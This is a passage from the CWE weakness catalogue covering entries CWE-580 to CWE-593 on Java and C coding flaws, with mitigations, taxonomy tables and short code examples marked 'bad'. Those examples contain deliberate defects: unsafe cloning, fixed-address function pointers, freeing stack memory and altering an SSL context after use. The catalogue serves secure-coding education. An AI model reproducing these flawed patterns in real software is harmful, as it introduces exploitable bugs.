The software contains a clone() method that does not call super.clone() to obtain the new object.

Extended Description

All implementations of clone() should obtain the new object by calling super.clone(). If a class does not follow this convention, a subclass's clone() method will return an object of the wrong type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1153
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Call super.clone() within your clone() method, when obtaining a new object.

Phase: Implementation

In some cases, you can eliminate the clone method altogether and use copy constructors.

Demonstrative Examples

Example 1:

The following two classes demonstrate a bug introduced by not calling super.clone(). Because of the way Kibitzer implements clone(), FancyKibitzer's clone method will return an object of type Kibitzer instead of FancyKibitzer.

Example Language: Java *(bad)*

```
public class Kibitzer {
    public Object clone() throws CloneNotSupportedException {
        Object returnMe = new Kibitzer();
        ...
    }
}
public class FancyKibitzer extends Kibitzer{
```

```
    public Object clone() throws CloneNotSupportedException {
        Object returnMe = super.clone();
        ...
    }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1960

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP28		Unexpected access points

CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined

Weakness ID : 581 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not maintain equal hashcodes for equal objects.

Extended Description

Java objects are expected to obey a number of invariants related to equality. One of these invariants is that equal objects must have equal hashcodes. In other words, if a.equals(b) == true then a.hashCode() == b.hashCode().

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1350
ChildOf	G	573	Improper Following of Specification by Caller	1153

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Other *If this invariant is not upheld, it is likely to cause trouble if objects of this class are stored in a collection. If the objects*	

Scope	Impact	Likelihood
	of the class in question are used as a key in a Hashtable or if they are inserted into a Map or Set, it is critical that equal objects have equal hashcodes.	

Potential Mitigations

Phase: Implementation

Both Equals() and Hashcode() should be defined.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	1904
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	1987

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET09-J		Classes that define an equals() method must also define a hashCode() method

CWE-582: Array Declared Public, Final, and Static

Weakness ID : 582 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified.

Extended Description

Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. As such, in most cases an array declared public, final and static is a bug.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	668	Exposure of Resource to Wrong Sphere	1305

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Background Details

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Potential Mitigations

Phase: Implementation

In most situations the array should be made private.

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly declares an array public, final and static.

Example Language: Java *(bad)*

```
public final class urlTool extends Applet {
    public final static URL[] urls;
    ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	1904
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1960

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ10-J		Do not use public static nonfinal variables
Software Fault Patterns	28		Unexpected Access Points

CWE-583: finalize() Method Declared Public

Weakness ID : 583 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The program violates secure coding principles for mobile code by declaring a finalize() method public.

Extended Description

A program should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke a finalize() method because it is declared with public access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Alter Execution Logic	
Integrity	Execute Unauthorized Code or Commands	
Availability	Modify Application Data	

Potential Mitigations

Phase: Implementation

If you are using finalize() as it was designed, there is no reason to declare finalize() with anything other than protected access.

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly declares a public finalize() method.

Example Language: Java *(bad)*

```
public final class urlTool extends Applet {
    public void finalize() {
        ...
    }
    ...
}
```

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	1904
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1960
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	1987

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET12-J		Do not use finalizers
Software Fault Patterns	SFP28		Unexpected access points

CWE-584: Return Inside Finally Block

Weakness ID : 584 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	705	Incorrect Control Flow Scoping	1359

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	

Potential Mitigations

Phase: Implementation

Do not use a return statement inside the finally block. The finally block should have "cleanup" code.

Demonstrative Examples

Example 1:

In the following code excerpt, the IllegalArgumentException will never be delivered to the caller. The finally block will cause the exception to be discarded.

Example Language: Java *(bad)*

```
try {
    ...
    throw IllegalArgumentException();
}
finally {
    return r;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1939
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	1987

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	ERR04-J		Do not complete abruptly from a finally block
The CERT Oracle Secure Coding Standard for Java (2011)	ERR05-J		Do not let checked exceptions escape from a finally block
Software Fault Patterns	SFP6		Incorrect Exception Behavior

CWE-585: Empty Synchronized Block

Weakness ID : 585 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software contains an empty synchronized block.

Extended Description

An empty synchronized block does not actually accomplish any synchronization and may indicate a troubled section of code. An empty synchronized block can occur because code no longer needed within the synchronized block is commented out without removing the synchronized block.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1071	Empty Code Block	1672

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other *An empty synchronized block will wait until nobody else is using the synchronizer being specified. While this may be part of the desired behavior, because you haven't protected the subsequent code by placing it inside the synchronized block, nothing is stopping somebody else from modifying whatever it was you were waiting for while you run the subsequent code.*	

Potential Mitigations

Phase: Implementation

When you come across an empty synchronized statement, or a synchronized statement in which the code has been commented out, try to determine what the original intentions were and whether or not the synchronized block is still necessary.

Demonstrative Examples

Example 1:

The following code attempts to synchronize on an object, but does not execute anything in the synchronized block. This does not actually accomplish anything and may be a sign that a programmer is wrestling with synchronization but has not yet achieved the result they intend.

Example Language: Java *(bad)*

```
synchronized(this) { }
```

Instead, in a correct usage, the synchronized statement should contain procedures that access or modify data that is exposed to multiple threads. For example, consider a scenario in which several threads are accessing student records at the same time. The method which sets the student ID to a new value will need to make sure that nobody else is accessing this data at the same time and will require synchronization.

Example Language: *(good)*

```
public void setID(int ID){
    synchronized(this){
        this.ID = ID;
    }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	1952

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP21		Multiple locks/unlocks

References

[REF-478]"Intrinsic Locks and Synchronization (in Java)". < http://java.sun.com/docs/books/tutorial/essential/concurrency/locksync.html >.

CWE-586: Explicit Call to Finalize()

Weakness ID : 586 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software makes an explicit call to the finalize() method from outside the finalizer.

Extended Description

While the Java Language Specification allows an object's finalize() method to be called from outside the finalizer, doing so is usually a bad idea. For example, calling finalize() explicitly means that finalize() will be called more than once: the first time will be the explicit call and the last time will be the call that is made after the object is garbage collected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1076	Insufficient Adherence to Expected Conventions	1677
PeerOf	C	675	Duplicate Operations on Resource	1316

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Phase: Testing

Do not make explicit calls to finalize(). Use static analysis tools to spot such instances.

Demonstrative Examples

Example 1:

The following code fragment calls finalize() explicitly:

Example Language: Java *(bad)*

```
// time to clean up
widget.finalize();
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	1904
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	1987

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET12-J		Do not use finalizers
Software Fault Patterns	SFP3		Use of an improper API

CWE-587: Assignment of a Fixed Address to a Pointer

Weakness ID : 587 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software sets a pointer to a specific address other than NULL or 0.

Extended Description

Using a fixed address is not portable because that address will probably not be valid in all environments or platforms.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1393
ChildOf	B	344	Use of Invariant Value in Dynamically Changing Context	757

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : Assembly *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If one executes code at a known location, an attacker might be able to inject code there beforehand.*	
Availability	DoS: Crash, Exit, or Restart *If the code is ported to another platform or environment, the pointer is likely to be invalid and cause a crash.*	
Confidentiality Integrity	Read Memory Modify Memory *The data at a known pointer location can be easily read or influenced by an attacker.*	

Potential Mitigations

Phase: Implementation

Never set a pointer to a fixed address.

Demonstrative Examples

Example 1:

This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

Example Language: C *(bad)*

```
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.
```

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	1882
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1914
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	1995

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	INT36-C	Imprecise	Converting a pointer to integer or integer to pointer
Software Fault Patterns	SFP1		Glitch in computation

CWE-588: Attempt to Access Child of a Non-structure Pointer

Weakness ID : 588 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1393
ChildOf	B	704	Incorrect Type Conversion or Cast	1357

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868
MemberOf	C	569	Expression Issues	1870

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory *Adjacent variables in memory may be corrupted by assignments performed on fields after the cast.*	
Availability	DoS: Crash, Exit, or Restart *Execution may end due to a memory access error.*	

Potential Mitigations

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Implementation

Review of type casting operations can identify locations where incompatible types are cast.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
struct foo
{
    int i;
}
...
int main(int argc, char **argv)
{
    *foo = (struct foo *)main;
    foo->i = 2;
    return foo->i;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	971	SFP Secondary Cluster: Faulty Pointer Use	888	1945

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP7		Faulty Pointer Use

CWE-589: Call to Non-ubiquitous API

Weakness ID : 589 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.

Extended Description

Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	474	Use of Function with Inconsistent Implementations	1006

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Always test your code on any platform on which it is targeted to run on.

Phase: Testing

Test your code on the newest and oldest platform on which it is targeted to run on.

Phase: Testing

Develop a system to test for API functions that are not portable.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	1904
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	1909
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	1987

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET02-J		Do not use deprecated or obsolete classes or methods
The CERT Oracle Secure Coding Standard for Java (2011)	SER00-J		Maintain serialization compatibility during class evolution
Software Fault Patterns	SFP3		Use of an improper API

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
96	Block Access to Libraries

CWE-590: Free of Memory not on the Heap

Weakness ID : 590 **Status:** Incomplete

Structure : Simple
Abstraction : Variant

Description

The application calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc().

Extended Description

When free() is called on an invalid pointer, the program's memory management data structures may become corrupted. This corruption can cause the program to crash or, in some circumstances, an attacker may be able to cause free() to operate on controllable memory locations to modify critical program variables or execute code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	762	Mismatched Memory Management Routines	1405
CanPrecede	B	123	Write-what-where Condition	296

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Memory *There is the potential for arbitrary code execution with privileges of the vulnerable program via a "write, what where" primitive. If pointers to memory which hold user information are freed, a malicious user will be able to write 4 bytes anywhere in memory.*	

Potential Mitigations

Phase: Implementation

Only free pointers that you have called malloc on previously. This is the recommended solution. Keep track of which pointers point at the beginning of valid chunks and free them only once.

Phase: Implementation

Before freeing a pointer, the programmer should make sure that the pointer was previously allocated on the heap and that the memory belongs to the programmer. Freeing an unallocated pointer will cause undefined behavior in the program.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

In this example, an array of record_t structs, bar, is allocated automatically on the stack as a local variable and the programmer attempts to call free() on the array. The consequences will vary based on the implementation of free(), but it will not succeed in deallocating the memory.

Example Language: C *(bad)*

```
void foo(){
    record_t bar[MAX_SIZE];
    /* do something interesting with bar */
    ...
    free(bar);
}
```

This example shows the array allocated globally, as part of the data segment of memory and the programmer attempts to call free() on the array.

Example Language: C *(bad)*

```
record_t bar[MAX_SIZE]; //Global var
void foo(){
    /* do something interesting with bar */
    ...
    free(bar);
}
```

Instead, if the programmer wanted to dynamically manage the memory, malloc() or calloc() should have been used.

Example Language: *(good)*

```
void foo(){
    record_t *bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
    /* do something interesting with bar */
    ...
    free(bar);
}
```

Additionally, you can pass global variables to free() when they are pointers to dynamically allocated memory.

Example Language: *(good)*

```
record_t *bar; //Global var
void foo(){
    bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
    /* do something interesting with bar */
    ...
    free(bar);
}
```

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	1944
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998
MemberOf	C	1172	SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN)	1154	2003

Notes

Maintenance

In C++, if the new operator was used to allocate the memory, it may be allocated with the malloc(), calloc() or realloc() family of functions in the implementation. Someone aware of this behavior might choose to map this problem to CWE-590 or to its parent, CWE-762, depending on their perspective.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM34-C	Exact	Only free memory allocated dynamically
CERT C Secure Coding	WIN30-C	Imprecise	Properly pair allocation and deallocation functions
Software Fault Patterns	SFP12		Faulty Memory Release

References

[REF-480]"Valgrind". < http://valgrind.org/ >.

CWE-591: Sensitive Data Storage in Improperly Locked Memory

Weakness ID : 591 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.

Extended Description

On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	413	Improper Resource Locking	896

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Memory *Sensitive data that is written to a swap file may be exposed.*	

Potential Mitigations

Phase: Architecture and Design

Identify data that needs to be protected from swapping and choose platform-appropriate protection mechanisms.

Phase: Implementation

Check return values to ensure locking operations are successful.

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1878
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
CERT C Secure Coding	MEM06-C		Ensure that sensitive data is not written out to disk
Software Fault Patterns	SFP23		Exposed Data

CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created

Weakness ID : 593 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software modifies the SSL context after connection creation has begun.

Extended Description

If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630
ChildOf	C	666	Operation on Resource in Wrong Phase of Lifetime	1298

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *No authentication takes place in this process, bypassing an assumed protection of encryption.*	
Confidentiality	Read Application Data *The encrypted communication between a user and a trusted host may be subject to a sniffing attack.*	

Potential Mitigations

Phase: Architecture and Design

Use a language or a library that provides a cryptography framework at a higher level of abstraction.

Phase: Implementation

Most SSL_CTX functions have SSL counterparts that act on SSL-type objects.

Phase: Implementation

Applications should set up an SSL_CTX completely, before creating SSL objects from it.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
#define CERT "secret.pem"
#define CERT2 "secret2.pem"
int main(){
    SSL_CTX *ctx;
    SSL *ssl;
    init_OpenSSL();
    seed_prng();
    ctx = SSL_CTX_new(SSLv23_method());
    if (SSL_CTX_use_certificate_chain_file(ctx, CERT) != 1)
        int_error("Error loading certificate from file");
    if (SSL_CTX_use_PrivateKey_file(ctx, CERT, SSL_FILETYPE_PEM) != 1)
```

```
        int_error("Error loading private key from file");
    if (!(ssl = SSL_new(ctx)))
        int_error("Error creating an SSL context");
    if ( SSL_CTX_set_default_passwd_cb(ctx, "new default password" != 1))
        int_error("Doing something which is dangerous to do anyways");
    if (!(ssl2 = SSL_new(ctx)))
        int_error("Error creating an SSL context");
}
```

MemberOf Relationships

